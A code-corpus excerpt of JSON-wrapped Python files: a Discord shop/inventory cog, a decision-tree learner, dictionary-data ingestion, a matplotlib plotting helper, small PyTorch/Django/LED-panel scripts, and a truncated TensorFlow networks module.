@commands.command()\r\n async def inventory(self, ctx, action = None, param = None):\r\n member = ctx.author\r\n items = list(self.get_user(member.id)['inventory'])\r\n if action is None:\r\n embed = discord.Embed(color = discord.Colour.teal())\r\n embed.set_author(name = f\"{member.name} inventory\", icon_url = member.avatar_url)\r\n for i in range(len(items)):\r\n role = self.guild.get_role(int(items[i]))\r\n embed.add_field(name = str(i + 1), value = role.name)\r\n if len(items) == 0:\r\n embed.title = \"У вас нет предметов :(\"\r\n embed.set_thumbnail(url = \"https://cdn1.iconfinder.com/data/icons/video-game-lineal/32/inventory-item-chest-512.png\")\r\n await ctx.send(embed = embed)\r\n elif action == \"take\":\r\n if param is None:\r\n raise Errors.InvalidItemError\r\n else:\r\n param = await self.parse_param(param)\r\n if param == \"all\":\r\n for item in items:\r\n self.update_user(member.id, 'pull', inventory = int(item))\r\n self.update_user(member.id, 'push', custom_roles = int(item))\r\n await member.add_roles(self.guild.get_role(int(item)))\r\n await send_message(ctx.channel, \"все предметы были применены\")\r\n elif param - 1 in range(len(items)):\r\n role_id = int(items[param - 1])\r\n self.update_user(member.id, 'pull', inventory = int(role_id))\r\n self.update_user(member.id, 'push', custom_roles = int(role_id))\r\n await member.add_roles(self.guild.get_role(role_id))\r\n await send_message(ctx.channel, f\"предмет {self.guild.get_role(role_id).name} был применен\")\r\n else:\r\n raise Errors.InvalidItemError\r\n elif action == \"keep\":\r\n if param is None:\r\n raise Errors.InvalidItemError\r\n else:\r\n role = await self.getRoleFromMention(param)\r\n if role in member.roles and await self.isCustomRole(member.id, role.id):\r\n self.update_user(member.id, 'push', inventory = int(role.id))\r\n self.update_user(member.id, 'pull', custom_roles = int(role.id))\r\n await member.remove_roles(role)\r\n await send_message(ctx.channel, f\"предмет {role.name} был перенесён в инвентарь\")\r\n else:\r\n raise Errors.HasNoRequiredRole\r\n\r\n else:\r\n raise Errors.InvalidItemError\r\n\r\n\r\n\r\ndef setup(Bot):\r\n Bot.add_cog(Shop(Bot))","sub_path":"shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":11651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"41432465","text":"from GrowTree.GetSplits import get_all_cols_splits\nfrom GrowTree.RegressionLeafModels import get_error_regression\nfrom GrowTree.ClassificationLeafModels import get_error_classification\nfrom Utilities.CheckDataTypes import check_data_types\n\nimport numpy as np, sys, re\n\nclass NewTree:\n def __init__(self, max_depth, split_model, leaf_model, min_observations, params=None):\n self.model_type = re.findall(\"_(.*)$\",split_model)[0]\n\n self.node_data = {0:{\"split_error\":np.inf,\"is_terminal\":False}}\n self.node_ids = [0]\n\n self.max_depth = max_depth\n self.split_model = split_model\n self.leaf_model = leaf_model\n self.min_observations = min_observations\n self.params = params\n\n def fit(self,x,y):\n categorical, numerical = check_data_types(x)\n\n x = x.values\n y = y.values\n\n self.grow_tree(x,y,categorical,numerical)\n error = 0\n for k,v in self.node_data.items():\n if v[\"is_terminal\"] == True:\n error += v[\"leaf_error\"]\n if k > 1:\n if v[\"direction\"] == \"upper\":\n self.node_data[v[\"parent\"]][\"upper_child\"] = k\n elif v[\"direction\"] == \"lower\":\n self.node_data[v[\"parent\"]][\"lower_child\"] = k\n error = error / len(y)\n print(\"Model Training MSE: \" + str(error))\n return(error)\n\n def predict_all(self, x):\n return self.predict_one(x.values)\n\n def predict_one(self, x, node=1):\n if self.node_data == {}:\n sys.exit(\"No trained model found.\")\n relevant_column = self.node_data[node][\"column\"]\n threshold = self.node_data[node][\"threshold\"]\n\n if not self.node_data[node][\"is_terminal\"]:\n if x[0][relevant_column] > threshold:\n pred = self.predict_one(x,self.node_data[node][\"upper_child\"])\n return pred\n else:\n pred = self.predict_one(x,self.node_data[node][\"lower_child\"])\n return pred\n else:\n return self.node_data[node][\"leaf_model\"].predict(x)\n\n def grow_tree(self, x, y, categorical, numerical, current_depth=0, parent=0, direction=\"NA\"):\n this_id = np.max(self.node_ids) + 1\n\n if current_depth <= self.max_depth:\n try:\n best_error, best_ix, best_col, model1, model2, threshold = get_all_cols_splits(x,y,self.split_model,\n self.min_observations,\n categorical,\n numerical)\n\n upper_threshold = [True if i > threshold else False for i in x[:,best_col]]\n lower_threshold = [True if i <= threshold else False for i in x[:,best_col]]\n x1 = x[upper_threshold, :]\n x2 = x[lower_threshold, :]\n\n y1 = y[upper_threshold].reshape(-1, 1)\n y2 = y[lower_threshold].reshape(-1, 1)\n\n if self.model_type == \"regressor\":\n leaf_error, leaf_model = get_error_regression(x,y,self.leaf_model,self.params)\n else:\n leaf_error, leaf_model = get_error_classification(x,y,self.leaf_model,self.params)\n\n if best_error > self.node_data[parent][\"split_error\"]:\n sys.exit(\"ERROR EXCEEDED\")\n raise\n self.node_data[this_id] = {\"depth\": current_depth, \"parent\": parent, \"column\":best_col,\n \"threshold\":threshold, \"model1\":model1, \"model2\":model1,\n \"leaf_error\":leaf_error,\"leaf_model\":leaf_model,\"is_terminal\":False,\n \"direction\":direction,\"split_error\":best_error}\n self.node_ids.append(this_id)\n except:\n self.node_data[parent][\"is_terminal\"] = True\n return\n\n self.grow_tree(x1,y1,current_depth+1,this_id,\"upper\")\n self.grow_tree(x2,y2,current_depth+1,this_id,\"lower\")\n else:\n self.node_data[parent][\"is_terminal\"] = True\n return","sub_path":"GrowTree/NewTree.py","file_name":"NewTree.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"603041391","text":"import re\nfrom pathlib import Path\n\nfrom clldutils.jsonlib import load\nfrom clldutils.misc import lazyproperty, nfilter\nfrom clld.db.meta import DBSession\nfrom clld.db.models import common\nfrom clld.lib import bibtex\nfrom clld.cliutil import bibtex2source\n\nfrom dictionaria.lib import cldf\nfrom dictionaria.lib.ingest import Examples\nfrom dictionaria import models\nimport dictionaria\n\n\nREPOS = Path(dictionaria.__file__).parent.joinpath('..', '..', 'dictionaria-intern')\n\n\nclass Submission:\n def __init__(self, sid, path):\n self.id = sid\n self.dir = path\n\n assert self.dir.exists()\n\n cdstar_json = self.dir / 'etc' / 'cdstar.json'\n self.cdstar = load(cdstar_json) if cdstar_json.exists() else {}\n desc = self.dir / 'raw' / 'intro.md'\n if desc.exists():\n with desc.open(encoding='utf8') as fp:\n self.description = fp.read()\n else:\n self.description = None\n md = self.dir / 'etc' / 'md.json'\n self.md = load(md) if md.exists() else None\n self.props = self.md.get('properties', {}) if self.md else {}\n\n @lazyproperty\n def dictionary(self):\n if (self.dir / 'cldf').is_dir():\n return cldf.Dictionary(self.dir / 'cldf')\n else:\n raise ValueError('unknown dictionary format')\n\n def add_file(self, type_, checksum, file_cls, obj, attrs=None):\n if checksum in self.cdstar:\n jsondata = {k: v for k, v in self.props.get(type_, {}).items()}\n jsondata.update(self.cdstar[checksum])\n if attrs:\n jsondata.update(attrs)\n f = file_cls(\n id='%s-%s' % (obj.id, checksum),\n name=self.cdstar[checksum]['original'],\n object_pk=obj.pk,\n mime_type=self.cdstar[checksum]['mimetype'],\n jsondata=jsondata)\n DBSession.add(f)\n DBSession.flush()\n DBSession.refresh(f)\n return\n print('{0} file missing: {1}'.format(type_, checksum))\n return\n\n def load_sources(self, dictionary, data):\n if self.dictionary.cldf.sources:\n print('loading sources ...')\n for rec in self.dictionary.cldf.sources:\n rec = bibtex.Record(rec.genre, rec.id, **rec)\n src = bibtex2source(rec, models.DictionarySource)\n src.dictionary = dictionary\n src.id = '%s-%s' % (self.id, src.id)\n data.add(models.DictionarySource, rec.id, _obj=src)\n\n def load_examples(self, dictionary, data, lang):\n abbr_p = re.compile('\\$(?P[a-z1-3][a-z]*(\\.[a-z]+)?)')\n if hasattr(self.dictionary, 'cldf') and self.dictionary.cldf.get('ExampleTable'):\n examples = self.dictionary.cldf['ExampleTable']\n example_props = (\n 'id',\n 'primaryText',\n 'analyzedWord',\n 'gloss',\n 'translatedText',\n 'languageReference',\n 'metaLanguageReference',\n 'comment')\n colmap = {k: self.dictionary.cldf['ExampleTable', k].name\n for k in example_props\n if self.dictionary.cldf.get(('ExampleTable', k))}\n fks = cldf.get_foreign_keys(self.dictionary.cldf, examples)\n exlabels = cldf.get_labels(\n 'example', examples, colmap, self,\n exclude=[\n 'Sense_IDs',\n colmap.get('mediaReference', 'Media_IDs'),\n colmap.get('languageReference', 'Language_ID')])\n\n for i, ex in enumerate(self.dictionary.cldf['ExampleTable']):\n obj = data.add(\n models.Example,\n ex[colmap['id']],\n id='%s-%s' % (self.id, ex.pop(colmap['id']).replace('.', '_')),\n name=ex.pop(colmap['primaryText']),\n number='{0}'.format(i + 1),\n source=ex.pop('Corpus_Reference', None),\n comment=ex.pop(colmap['comment'], None) if 'comment' in colmap else None,\n original_script=ex.pop('original_script', None),\n language=lang,\n serialized='{0}'.format(ex),\n dictionary=dictionary,\n analyzed='\\t'.join(\n nfilter(ex.pop(colmap['analyzedWord'], []) or []))\n if 'analyzedWord' in colmap else None,\n gloss='\\t'.join(\n [abbr_p.sub(lambda m: m.group('abbr').upper(), g or '') for g in ex[colmap['gloss']]])\n if 'gloss' in colmap and ex[colmap['gloss']] \\\n else ((ex[colmap['gloss']] or None) if 'gloss' in colmap else None),\n description=ex.pop(colmap['translatedText'], None),\n alt_translation1=ex.pop('alt_translation1', None),\n alt_translation_language1=self.props.get('metalanguages', {}).get('gxx'),\n alt_translation2=ex.pop('alt_translation2', None),\n alt_translation_language2=self.props.get('metalanguages', {}).get('gxy'),\n )\n for col in ['languageReference', 'metaLanguageReference', 'gloss']:\n if col in colmap:\n del ex[colmap[col]]\n DBSession.flush()\n media_ids = sorted(set(\n ex.pop(colmap.get('mediaReference', 'Media_IDs'), [])))\n for md5 in media_ids:\n self.add_file(None, md5, common.Sentence_files, obj)\n\n for index, (key, label) in enumerate(exlabels.items()):\n label, with_links = label\n value = ex.get(key)\n if value:\n if type(value) == list:\n value = '\\t'.join(e or '' for e in value)\n DBSession.add(common.Sentence_data(\n object_pk=obj.pk,\n key=label.replace('_', ' '),\n value=value))\n","sub_path":"dictionaria/lib/submission.py","file_name":"submission.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"151191956","text":"'''\nThis module contains a useful wrapper function \nfor plotting simple 2D graphs with multiple y axis series\nof higher quality than excel and exporting them at .tiff or .eps etc\n\nAuthor: Elena Koumpli\nLast updated: 21/07/2017\n\n'''\n\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import rcParams\nfrom matplotlib.ticker import MultipleLocator\nfrom scipy.stats import linregress\nfrom tkinter import filedialog, Tk\n\n\nrcParams.update({'figure.autolayout': True}) #very important command for sizing automatically\nrcParams['mathtext.default'] = 'regular' # this one removes the italics from inserted functions\n\n\n# the following expression works with the 3.0 interpreter\n\nlbl = 18 #label font size\nleg= 16 # legend font size\ntck = 16 # ticks font size\nres =300 \n\n#filled_markers = ('o', 'v', '^', '<', '>', '8', 's', 'p', '*', 'h', 'H', 'D', 'd', 'P', 'X')\n# legend locations \n #===========================================================================\n # center\n # right\n # lower right\n # upper left\n # center left\n # upper center\n # center right\n # best\n # upper right\n # lower center\n # lower left\n #===========================================================================\n\n\n\ndef plotDynGraphsOnXY(x,y, ysec=[], legends = [], axlabels = [], title='', \n scatter= False, marker_line = True, xticklocator = None, \n yticklocator = None,lower_limits=None, marker = False,\n prefs = {'lbl':20,'leg':18, 'tck':18,'res': 300, \n 'leg_loc':'upper right','fformat':'tiff',\n 'leg_layout':'vertical', 'bg_colour':'white'},\n regression= None, showlegend = True, show_grid=False, \n set_ticks = None, show = True, yscale='linear',\n autoformat_date = False, save_graph = False):\n \n \n '''\n A useful function which wraps the most essential functionalities of Matplotlib and keeps\n consistent styles for every graph produced, based on personal preferences.\n Draw line and scatter graphs automatically by adding Y arguments. \n Colours and styles are re-cycled, taken from default lists\n IF scatter is False then a line graph is produced else a scatter graph is produced.\n \n NOTE: Some styles can be overriden/altered by using the python package seaborn, \n Just type seaborn.set() prior to plotDynGraphsOnXY() to adopt the seaborn styles.\n \n Parameters\n -----------\n \n x : float, array or list\n x-axis parameter of length M\n \n \n y : list of floats, arrays or lists\n y-axis parameters. The size of each argument in the list, N, must be of equal length to M\n (M = N)\n \n ysec : list of floats, arrays or lists, Default empty list\n Secondary y-axis parameters. The size of each argument in the list, N, must be of equal length to M\n (M = N) \n \n legends : A list of string(s), Default empty \n \n \n axlabels : A list of string(s), default Empty, \n labels for X and Y axes \n \n \n title : String, default Empty\n The title of the graph\n \n \n scatter : Boolean, default False\n Whether the graph is a line or scatter\n \n \n marker_line: Boolean, default True\n Whether for the line graph, a marker line is preferred or not\n \n marker : Boolean, default False\n Whether for the line graph, a marker is preferred or not\n \n xticklocator :Integer, default None\n Where the tick labels are located in X axis, \n if None then the default style is applied\n \n \n yticklocator : Integer, default None\n Where the tick labels are located in primary Y axis, \n if None then the default style is applied\n \n regression : string, default None \n if not None, then a trendline is applied to the scatter plot \n currently two strings are recognised 'linear' and 'log' for linear and\n logarithmic fit respectively \n \n \n showlegend : boolean, default False,\n whether to show legend or not. \n Properties of the legend will have to be hard coded \n \n show_grid : boolean, default False\n Whether to show grid (True for both axes) or not (False)\n \n set_ticks : A list of strings, default None\n if not None, this replaces the tick labels of the x axis\n \n lower_limits : A list of floats, size = 2, default None\n if not None it sets the lower limits of the X and (primary) Y axis where\n X limit = lower_limits[0]\n Y limit = lower_limits[1]\n \n prefs : A dictionary default {'lbl':20,'leg':18, 'tck':18,'res': 300, 'fformat':300 }\n Common font size preferences where \n lbl denotes label font size\n leg denotes legend font size\n tck denotes tick font size\n res denotes dpi resolution size for saved graphs\n fformat is the file format for the produced graph\n leg_layout horizontal or vertical legend\n leg_loc location of the legend \n bg_colour this sets the background colour of the figure \n \n show : Boolean, default True\n if true then the graph is shown else it is not.\n \n autoformat_date : Boolean, default False\n if autoformat is True then dates are formatted accordingly\n \n yscale :string, default 'linear' \n The scale of the primary Y axis\n \n save_graph : Boolean, default False\n if True a dialogue window opens where it asks for the file to save the graph in \n \n Returns\n -------\n\n A graph object which has the option to be saved in a file (default format .tiff)\n \n '''\n \n from itertools import cycle\n \n #default dictionary\n \n pprefs = {'lbl':18,'leg':16, 'tck':16,'res': 300, \n 'leg_loc':'upper right','fformat':'tiff',\n 'leg_layout':'vertical'}\n \n lw = 1.5 #this looks good\n \n # updates based on personal preferences given as defaults in the arguments\n pprefs.update(prefs)\n \n # colours are cycled as well as styles for both scatter and line graphs\n \n fig, ax = plt.subplots() # you need this when you add second axis\n \n \n # more elements can be added in the lists below for very large number of Y data\n gen_colors = ['black','blue', 'orange','cadetblue','purple','red', 'green','mintcream','steelblue','cyan','lightgreen','orchid','pink', \n 'yellow', 'tan', 'sandybrown', 'goldenrod', 'yellowgreen'] \n \n gen_lines = [\"-o\",\"--^\",\"--s\",\"--v\",\"-.\",\"--x\",\"--o\",\":o\",\"-.^\",\"-o\"]\n \n gen_lines_no_marker = ['-', '--', '-.', ':']\n \n gen_scatter = [\"o\", \"x\",\"^\", \"<\", \">\",\"1\",\"2\",\"3\", \"4\",\"8\",\"s\",\"p\",\"P\",\"*\",\"h\",\"H\",\"+\",\".\",\"D\",\"d\"]\n\n lns = []\n \n \n if (scatter or not marker_line):\n linecycler = cycle(gen_scatter) #cycles through line styles\n \n elif (marker is False and scatter is False):\n \n linecycler = cycle(gen_lines_no_marker)\n \n else: \n linecycler = cycle(gen_lines)\n\n colorcycler = cycle(gen_colors)\n \n for i,yi in enumerate(y):\n \n \n if not scatter: \n \n try:\n ln, = ax.plot(x,yi, next(linecycler), color = next(colorcycler), \n label = legends[i], linewidth = lw)\n \n except IndexError:\n \n ln, = ax.plot(x,yi, next(linecycler), color = next(colorcycler), \n linewidth = lw)\n \n \n lns.append(ln)\n\n else:\n \n colour = next(colorcycler) # this is to get same colour for both scatter and regression lines\n \n try:\n ln = ax.scatter(x,yi,30, marker = next(linecycler), color = colour, label = legends[i])\n except IndexError:\n ln = ax.scatter(x,yi,30, marker = next(linecycler), color = colour)\n \n lns.append(ln)\n \n if regression is not None:\n \n if regression =='linear':\n \n a,b,r_value,p_value,std = linregress(x,yi)\n yi_m = a*x + b\n ax.plot(x,yi_m,'--',color = colour, linewidth = 1.5)\n \n # NOTE: text requires x and y coordinates as the first two arguments \n plt.figtext(0.55,0.8,'R$^2$ = '+str(r_value.round(2)),fontsize=18,backgroundcolor='w')\n \n elif regression =='log':\n \n #params, cov = curve_fit(lambda t,a,b: a+b*np.log(t), x, yi)\n \n yi_m = -0.179*np.log(x)+1.3535 #values are an example here\n ax.plot(x,yi_m,'--',color = colour, linewidth = 1.5)\n \n \n if ysec: #checks for empty list\n\n \n ax2 = ax.twinx()\n \n for k,yk in enumerate(ysec): \n \n try:\n ln, = ax2.plot(x,yk, next(linecycler), color = next(colorcycler), \n label = legends[len(y)+k], linewidth = lw)\n except IndexError:\n \n ln, = ax2.plot(x,yk, next(linecycler), color = next(colorcycler), \n linewidth = lw)\n \n \n ax2.set_ylabel(axlabels[2], fontsize = pprefs['lbl']) \n ax2.tick_params(labelsize = pprefs['tck'])\n lns.append(ln)\n \n \n try:\n \n ax.set_xlabel(axlabels[0], fontsize = pprefs['lbl'])\n ax.set_ylabel(axlabels[1], fontsize = pprefs['lbl'])\n \n except IndexError:\n \n ax.set_xlabel('', fontsize = pprefs['lbl'])\n ax.set_ylabel('', fontsize = pprefs['lbl'])\n \n \n if autoformat_date:\n \n plt.gcf().autofmt_xdate()\n \n if showlegend:\n \n leg_loc = pprefs['leg_loc'] \n labs = [l.get_label() for l in lns]\n \n if pprefs['leg_layout']=='horizontal':\n \n plt.legend(lns, labs, loc=leg_loc,prop={'size':pprefs['leg']},ncol = len(y)+len(ysec))\n \n else:\n plt.legend(lns, labs, loc=leg_loc,prop={'size':pprefs['leg']}, facecolor = 'w')\n \n if title:\n \n plt.title(str(title),size = pprefs['tck'])\n \n \n ax.tick_params(axis='both', labelsize = pprefs['tck'])\n \n if show_grid:\n ax.grid(axis = 'both')#,color='AliceBlue') #color='grey')\n \n \n \n if lower_limits:\n \n plt.xlim(lower_limits[0])\n plt.ylim(lower_limits[1])\n \n \n \n \n if xticklocator is not None:\n \n majorLocator = MultipleLocator(xticklocator) \n ax.xaxis.set_major_locator(majorLocator)\n \n \n \n if yticklocator is not None:\n \n majorLocator = MultipleLocator(yticklocator) \n ax.yaxis.set_major_locator(majorLocator)\n \n \n if set_ticks is not None:\n \n if xticklocator: #set the frequency for the set_xticks according to the xticklocator\n \n x0 = [x[i] for i in range(0,len(set_ticks),xticklocator)]\n set_ticks0 = [set_ticks[i] for i in range(0,len(set_ticks),xticklocator)]\n x = x0\n plt.xticks(x,set_ticks0)\n else:\n plt.xticks(x,set_ticks)\n\n \n plt.yscale(yscale)\n \n \n \n #more options here\n \n #plt.yticks([-1,0,1])\n \n #sets axes to always cros at given x,y\n #plt.axhline(y=0, color='k')\n #plt.axvline(x=0, color='k')\n \n #plt.fill_between(x,y[0],y[1],hatch=\"\\\\\", facecolor='green') #fill\n #plt.text(0.6,8.7,'Shaded area', fontdict={'family':'Arial','size':lbl}) #write a text\n\n # adds background colour \n # check https://www.w3schools.com/cssref/css_colors.asp\n \n ax.set_facecolor(pprefs['bg_colour'])#('lavender') # background color in the graph\n \n \n \n if save_graph: \n \n from tkinter import filedialog\n \n fformat = pprefs['fformat']\n \n file = filedialog.asksaveasfilename(defaultextension=fformat)\n \n filename = file#+'.'+fformat\n \n plt.savefig(filename,dpi = pprefs['res'],figsize=(10,6))\n \n if show:\n \n plt.show() \n \n\n","sub_path":"curve_fitting_tools/plotGraphs.py","file_name":"plotGraphs.py","file_ext":"py","file_size_in_byte":12998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"194481124","text":"import torch\nfrom torch import nn\n\nclass ResNet(nn.Module):\n def __init__(self, input_channel: int, output_channel: int, leaky_relu_slope=0.01):\n super().__init__()\n self.is_downsample = (input_channel != output_channel)\n\n self.pre_conv = nn.Sequential(\n nn.BatchNorm2d(num_features=input_channel),\n nn.LeakyReLU(leaky_relu_slope,inplace=True),\n nn.MaxPool2d(kernel_size=(1,4))\n )\n\n self.conv = nn.Sequential(\n nn.Conv2d(in_channels=input_channel,out_channels=output_channel,\n kernel_size=3, padding=1, bias=False),\n nn.BatchNorm2d(output_channel),\n nn.LeakyReLU(leaky_relu_slope, inplace=True),\n nn.Conv2d(output_channel,output_channel,3,padding=1,bias=False)\n )\n\n self.conv_1by1 = None\n if self.is_downsample:\n self.conv_1by1 = nn.Conv2d(input_channel,output_channel,1,bias=False)\n \n def forward(self,x):\n x = self.pre_conv(x)\n if self.is_downsample:\n x = self.conv(x) + self.conv_1by1(x)\n else:\n x = self.conv(x) + x\n return x","sub_path":"Trainer/Model/ResNet.py","file_name":"ResNet.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"92392258","text":"#from django.http import HttpResponse\nfrom django.shortcuts import render\n\n\ndef home(request):\n return render(request, 'home.html')\n\ndef count(request):\n text=request.GET['text']\n count={}\n for word in text:\n \tif word not in count:\n \t\tcount[word] = 1\n \telse:\n \t\tcount[word] += 1\n sorted_dict=sorted(count.items(), key=lambda w:w[1], reverse=True)\n return render(request, 'count.html', \n \t{'text':text,'sorted_dict':sorted_dict})","sub_path":"myproject/myproject/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"274454291","text":"import os\nimport logging\n\nimport torch\n\nimport mlcrate as mlc\n\nfrom config import config\n\nclass Logger():\n def __init__(self):\n logging.basicConfig(level=logging.INFO, format='%(asctime)s %(name)s >>> %(message)s',datefmt='%Y-%m-%d %H-%M-%S')\n\n self.timer = mlc.time.Timer()\n self.last_message = ''\n \n self.timer.add('')\n\n def log(self, message, log_time=False):\n time = self.timer.fsince(self.last_message)\n\n if log_time:\n logging.info(f'{time} >>> {message}')\n else:\n logging.info(f'{message}')\n\n self.timer.add(message)\n self.last_message = message\n\ndef load_data(mode, one_hot=False):\n hits = mlc.load(os.path.join(config.OUTPUT_FOLDER, f'{mode}_hits.feather'))\n cells = mlc.load(os.path.join(config.OUTPUT_FOLDER, 'cells.feather'))\n particles = mlc.load(os.path.join(config.OUTPUT_FOLDER, f'{mode}_particles.feather'))\n truth = mlc.load(os.path.join(config.OUTPUT_FOLDER, f'{mode}_truth.feather'))\n\n if one_hot:\n one_hot_particle_ids = mlc.load(os.path.join(config.OUTPUT_FOLDER, f'{mode}_one_hot.feather'))\n return hits, cells, particles, truth, one_hot_particle_ids\n\n return hits, cells, particles, truth\n\ndef save_model(model):\n logging.info('Saving model')\n torch.save(model.state_dict(), os.path.join(config.OUTPUT_FOLDER, 'model.pt'))\n\ndef load_model(model, path):\n logging.info('Loading saved model')\n model.load_state_dict(torch.load(path))\n\n return model","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"602184078","text":"# -*- coding: utf-8 -*-\nimport svetelny_panel, colors\nfrom textHandler import *\nfrom matrixHandler import *\n\n\nsvetelny_panel.setup()\n\ntextHandler = TextHandler()\n#text, textwidth = textHandler.make_text(\"Sedi dva smutni informatici v serverovne, prijde k nim treti a pta se:- Proc jste tak smutni? - No vcera jsme se trosku ozrali a menili jsme hesla..\", 16) #Text is shifted 16 pixels horizonataly to right\n\n#text, textwidth = textHandler.make_text(\"Text\".decode(\"utf-8\"), x-shift, y-shift)\n\ntext, textwidth = textHandler.make_text(\"Už umíme háčky i čárky!\".decode(\"utf-8\"), x_shift=16, y_shift=0, color=colors.PINK) #Text is shifted 16 pixels horizonataly to right at the very beggining\n\nengine = MatrixEngine(text) \n\n\n\n \nwhile True:\n engine.shift_left()\n matrix = engine.get_matrix(cycle_x=True, cycle_size_x = textwidth+16)\n svetelny_panel.set_panel_memory_from_matrix(matrix)\n \n #engine.print_matrix()\n\n\n\n \n","sub_path":"original/led_panel/text-demo1.py","file_name":"text-demo1.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"441292516","text":"import os\n\n# path to our original dataset directory\nORIGIN_DATASET = \"Food-5K\"\n\n# path to the new directory containing our images \n# after the training and testing split\nBASE_PATH = \"dataset\"\n\n# names of training, testing, validation directories\nTRAIN = \"training\"\nTEST = \"evaluation\"\nVAL = \"validation\"\n\n# list of class label names\nCLASSES = [\"non_food\", \"food\"]\n\n# set the batch size\nBATCH_SIZE = 32\n\n# label encoder path\nLE_PATH = os.path.sep.join([\"output\", \"le.cpickle\"])\n\n# output directory to store extracted features (in .csv format)\nBASE_CSV_PATH = \"output\"\n\n# path to the serialized model after training\nMODEL_PATH = os.path.sep.join([\"output\", \"model.cpickle\"])\n\n","sub_path":"Food Classification/Food Classification via VGG16 Transfer Learning/utilities/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"305293524","text":"from __future__ import absolute_import, annotations, division, print_function\n\nimport collections\nimport copy\nimport dataclasses\nimport glob\nimport inspect\nimport os\nimport pickle\nimport types\nfrom functools import partial\nfrom numbers import Number\nfrom typing import (Any, Callable, Dict, Iterator, List, MutableSequence,\n Optional, Text, Tuple, Union)\n\nimport numpy as np\nimport tensorflow as tf\nfrom odin.backend.alias import (parse_activation, parse_constraint,\n parse_initializer, parse_regularizer)\nfrom odin.backend.keras_helpers import layer2text\nfrom odin.exp import Callback, Trainer\nfrom odin.networks.util_layers import (Conv1DTranspose, ExpandDims, Identity,\n ReshapeMCMC)\nfrom odin.utils import MD5object, as_tuple, classproperty\nfrom scipy import sparse\nfrom six import string_types\nfrom tensorflow import Tensor\nfrom tensorflow.python import keras\nfrom tensorflow.python.data.ops.dataset_ops import DatasetV2\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.keras.engine import training_utils\nfrom tensorflow.python.keras.layers import Layer\nfrom tensorflow.python.keras.layers.convolutional import Conv as _Conv\nfrom tensorflow.python.keras.optimizer_v2.optimizer_v2 import OptimizerV2\nfrom tensorflow.python.keras.utils import layer_utils\nfrom tensorflow.python.ops.summary_ops_v2 import SummaryWriter\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.training.tracking import base as trackable\nfrom tensorflow.python.util import tf_inspect\nfrom typing_extensions import Literal\n\n__all__ = [\n 'TensorTypes',\n 'TrainStep',\n 'Networks',\n 'SequentialNetwork',\n 'dense_network',\n 'conv_network',\n 'deconv_network',\n 'NetworkConfig',\n]\n\n\n# ===========================================================================\n# Helpers\n# ===========================================================================\ndef _shape(shape):\n if shape is not None:\n if not (tf.is_tensor(shape) or isinstance(shape, tf.TensorShape) or\n isinstance(shape, np.ndarray)):\n shape = tf.nest.flatten(shape)\n return shape\n\n\ndef _as_arg_tuples(*args):\n ref = as_tuple(args[0], t=int)\n n = len(ref)\n return [ref] + [as_tuple(i, N=n) for i in args[1:]], n\n\n\ndef _infer_rank_and_input_shape(rank, input_shape):\n if rank is None and input_shape is None:\n raise ValueError(\n \"rank or input_shape must be given so the convolution type \"\n \"can be determined.\")\n if rank is not None:\n if input_shape is not None:\n input_shape = _shape(input_shape)\n if rank != (len(input_shape) - 1):\n raise ValueError(\"rank=%d but given input_shape=%s (rank=%d)\" %\n (rank, str(input_shape), len(input_shape) - 1))\n else:\n rank = len(input_shape) - 1\n return rank, input_shape\n\n\n# ===========================================================================\n# Networks\n# ===========================================================================\nTensorTypes = Union[sparse.spmatrix, np.ndarray, Tensor]\n\n\ndef _to_optimizer(optimizer, learning_rate, clipnorm):\n optimizer = tf.nest.flatten(optimizer)\n learning_rate = tf.nest.flatten(learning_rate)\n clipnorm = tf.nest.flatten(clipnorm)\n if len(learning_rate) == 1:\n learning_rate = learning_rate * len(optimizer)\n if len(clipnorm) == 1:\n clipnorm = clipnorm * len(clipnorm)\n ## create the optimizer\n all_optimizers = []\n for opt, lr, clip in zip(optimizer, learning_rate, clipnorm):\n # string\n if isinstance(opt, string_types):\n config = dict(learning_rate=float(lr))\n if clip is not None:\n config['clipnorm'] = clip\n opt = tf.optimizers.get({'class_name': opt, 'config': config})\n # the instance\n elif isinstance(opt, OptimizerV2):\n pass\n # type\n elif inspect.isclass(opt) and issubclass(opt, OptimizerV2):\n opt = opt(learning_rate=float(learning_rate)) \\\n if clipnorm is None else \\\n opt(learning_rate=float(learning_rate), clipnorm=clipnorm)\n # no support\n else:\n raise ValueError(\"No support for optimizer: %s\" % str(opt))\n all_optimizers.append(opt)\n return all_optimizers\n\n\ndef _to_dataset(x, batch_size, dtype):\n # sparse matrix\n if isinstance(x, sparse.spmatrix):\n x = tf.SparseTensor(indices=sorted(zip(*x.nonzero())),\n values=x.data,\n dense_shape=x.shape)\n x = tf.data.Dataset.from_tensor_slices(x).batch(batch_size).map(\n lambda y: tf.cast(tf.sparse.to_dense(y), dtype))\n # numpy ndarray\n elif isinstance(x, np.ndarray) or tf.is_tensor(x):\n x = tf.data.Dataset.from_tensor_slices(x).batch(batch_size)\n return x\n\n\n@dataclasses.dataclass\nclass TrainStep:\n r\"\"\" Encapsulate a training step into a class, when called return\n a tensor for loss value, and a dictionary of metrics for monitoring. \"\"\"\n inputs: TensorTypes\n training: bool\n mask: 